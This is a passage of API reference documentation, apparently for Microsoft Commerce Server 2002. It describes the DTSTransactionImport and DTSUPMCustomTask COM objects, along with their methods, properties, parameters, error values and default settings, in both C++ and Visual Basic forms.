
_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName


DTSTransactionImport Object [C++]

DTSTransactionImport Object [Visual Basic]

Use this object to run reports to analyze transaction data. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Transaction Data Import DTS task, see Scripting the Transaction Data Import DTS Task.

ProgID: | Commerce.DTSTransactionImport (Externally creatable)
COM Class Name: | DTSTransactionImport
Type Library Name: | Microsoft Commerce 2002 Transaction Data Import DTS Task Type Library
DLL Name: | CSDWDTSTransImport.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSTransactionImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
CustomTask_Description | BSTR | Contains the description of the custom task. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
QueryInterval | long | The length of the query interval in minutes. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | int | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Description | String | Contains the description of the custom task. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
QueryInterval | Long | The length of the query interval in minutes. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Integer | An enumeration that contains the level on which the DTS task will operate. This property is read/write.

Remarks

CAUTION
  • When running the Transaction Import DTS task on a Data Warehouse that contains data for multiple Web sites, ensure that classes extended by more than one Web site have uniquely named members if their data types are not the same. If a new member is added to a class in multiple Web sites and the data type of the new members is not the same, a failure may occur or data may be incorrectly converted when the Transaction Import DTS task is run.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSUPMCustomTask Object


_DTSTransactionImport Methods [C++]

_DTSTransactionImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSTransactionImport::CustomTask_Execute Method [C++]

DTSTransactionImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
void _DTSTransactionImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::PersistPropertyBag_Load Method [C++]

DTSTransactionImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
void _DTSTransactionImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::PersistPropertyBag_Save Method [C++]

DTSTransactionImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
void _DTSTransactionImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport Properties [C++]

_DTSTransactionImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
CustomTask_Description | BSTR | Contains the description of the custom task. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
QueryInterval | long | The length of the query interval in minutes. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | int | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Description | String | Contains the description of the custom task. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
QueryInterval | Long | The length of the query interval in minutes. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Integer | An enumeration that contains the level on which the DTS task will operate. This property is read/write.


_DTSTransactionImport::get_CustomTask_Description, put_CustomTask_Description Property [C++]

DTSTransactionImport.CustomTask_Description Property [Visual Basic]

The CustomTask_Description property contains the description of the custom task.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_CustomTask_Description(
 BSTR CustomTask_Description
);

Put method:

HRESULT _DTSTransactionImport::put_CustomTask_Description(
 BSTR CustomTask_Description
);
[Visual Basic]
Property CustomTask_Description() As String

Parameters

NumRetries [C++]
[in] When putting the property, a BSTR that contains the description of the custom task.
[out,retval] When getting the property, a BSTR that contains the description of the custom task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_NumRetries, put_NumRetries Property [C++]

DTSTransactionImport.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSTransactionImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_ProcessingType, put_ProcessingType Property [C++]

DTSTransactionImport.ProcessingType Property [Visual Basic]

The ProcessingType property is an enumeration that contains the type of processing, either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSTransactionImport::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[in] When putting the property, a long that contains the type of processing.
[out,retval] When getting the property, a long that contains the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_QueryInterval, put_QueryInterval Property [C++]

DTSTransactionImport.QueryInterval Property [Visual Basic]

The QueryInterval property is a Long that identifies the number of minutes in the query interval.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_QueryInterval(
 long QueryInterval
);

Put method:

HRESULT _DTSTransactionImport::put_QueryInterval(
 long QueryInterval
);
[Visual Basic]
Property QueryInterval() As Long

Parameters

QueryInterval[C++]
[in] When putting the property, a long that contains the number of minutes in the query interval.
[out,retval] When getting the property, a long that contains the number of minutes in the query interval.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A value of zero (0) will issue a straight select against the source tables. For any value greater than zero (0), the task will incrementally import the transactions in groups as determined by the query interval value. For example, if the query interval is 25 minutes (the default value) and the first transaction was logged at 1:30am, the transaction data import task imports all transactions logged between 1:30am and 1:55am, then it would import transactions between 1:55am and 2:20am. This pattern would continue until the current time is reached, at which point the task stops.

If the transaction database is in a different time zone than the Data Warehouse, the import will cease at the current time of the import, when converted into the time zone of the transaction database. For example, if the transaction database is in the EST time zone, the Data Warehouse is in the PST time zone, and the current time is 8:00am in PST, the import will cease when the query interval reaches 8:00am in EST.

Values can range from 0 to 2147483647 (LONG_MAX).

The default value is 25 minutes.


_DTSTransactionImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSTransactionImport.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSTransactionImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_SourceName, put_SourceName

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.SourceName

DTSTransactionImport.SourceType


_DTSTransactionImport::get_SourceName, put_SourceName Property [C++]

DTSTransactionImport.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSTransactionImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out,retval] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceType, put_SourceType

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceType


_DTSTransactionImport::get_SourceType, put_SourceType Property [C++]

DTSTransactionImport.SourceType Property [Visual Basic]

The SourceType property is an enumeration that contains the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSTransactionImport::get_SourceType(
 int SourceType
);

Put method:

HRESULT _DTSTransactionImport::put_SourceType(
 int SourceType
);
[Visual Basic]
Property SourceType() As Integer

Parameters

SourceType[C++]
[in] When putting the property, an int that contains the source type.
[out, retval] When getting the property, an int that contains the source type.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Transaction Data Import DTS Task

[C++]

_DTSTransactionImport::CustomTask_Execute

_DTSTransactionImport::get_NumRetries, put_NumRetries

_DTSTransactionImport::PersistPropertyBag_Load

_DTSTransactionImport::PersistPropertyBag_Save

_DTSTransactionImport::get_ProcessingType, put_ProcessingType

_DTSTransactionImport::get_RetryInterval, put_RetryInterval

_DTSTransactionImport::get_SourceName, put_SourceName

[Visual Basic]

DTSTransactionImport.CustomTask_Execute

DTSTransactionImport.NumRetries

DTSTransactionImport.PersistPropertyBag_Load

DTSTransactionImport.PersistPropertyBag_Save

DTSTransactionImport.ProcessingType

DTSTransactionImport.RetryInterval

DTSTransactionImport.SourceName


DTSUPMCustomTask Object [C++]

DTSUPMCustomTask Object [Visual Basic]

Use this object to import user profile data into the Data Warehouse. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Profile data import DTS task, see Scripting the Profile Data Import DTS Task.

ProgID: | Commerce.DTSUPMCustomTask (Externally creatable)
COM Class Name: | DTSUPMCustomTask
Type Library Name: | Microsoft Commerce 2002 Profile Data Import DTS Task Type Library
DLL Name: | UPMDTSTask.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSUPMCustomTask
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
DTSTaskDescription | BSTR | Contains the description of the DTS task. This property is read/write.
DTSTaskImportStartDate | DATE | Contains the date that the bulk import should begin. This property is read/write.
DTSTaskName | BSTR | Contains the name of the DTS task. This property is read/write.
DTSTaskTimeQuantum | long | Contains the time of the query interval span in minutes. A value of 0 runs a single query, which locks the entire table. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the Web site or Data Warehouse name for which this task is processing data. This property is read/write.
SourceType | BSTR | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
DTSTaskDescription | String | Contains the description of the DTS task.
DTSTaskImportStartDate | Date | Contains the date that the bulk import should begin.
DTSTaskName | String | Contains the name of the DTS task.
DTSTaskTimeQuantum | Long | Contains the time of the query interval span in minutes. A value of 0 runs a single query, which locks the entire table.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure.
ProcessingType | Long | An enumeration that contains the type of processing, either full or incremental.
RetryInterval | Long | Contains the number of seconds between retry attempts.
SourceName | String | Contains the Web site or Data Warehouse name for which this task is processing data.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate.

See Also

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object


_DTSUPMCustomTask Methods [C++]

DTSUPMCustomTask Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSUPMCustomTask::CustomTask_Execute Method [C++]

DTSUPMCustomTask.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSUPMCustomTask::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Profile Data Import DTS Task.

[C++]

_DTSUPMCustomTask::get_DTSTaskDescription, put_DTSTaskDescription

_DTSUPMCustomTask::get_DTSTaskImportStartDate, put_DTSTaskImportStartDate

_DTSUPMCustomTask::get_DTSTaskName, put_DTSTaskName

_DTSUPMCustomTask::get_DTSTaskTimeQuantum, put_DTSTaskTimeQuantum

_DTSUPMCustomTask::get_NumRetries, put_NumRetries

_DTSUPMCustomTask::get_ProcessingType, put_ProcessingType

_DTSUPMCustomTask::get_RetryInterval, put_RetryInterval

_DTSUPMCustomTask::get_SourceName, put_SourceName

_DTSUPMCustomTask::get_SourceType, put_SourceType

[Visual Basic]

DTSUPMCustomTask.DTSTaskDescription

DTSUPMCustomTask.DTSTaskImportStartDate

DTSUPMCustomTask.DTSTaskName

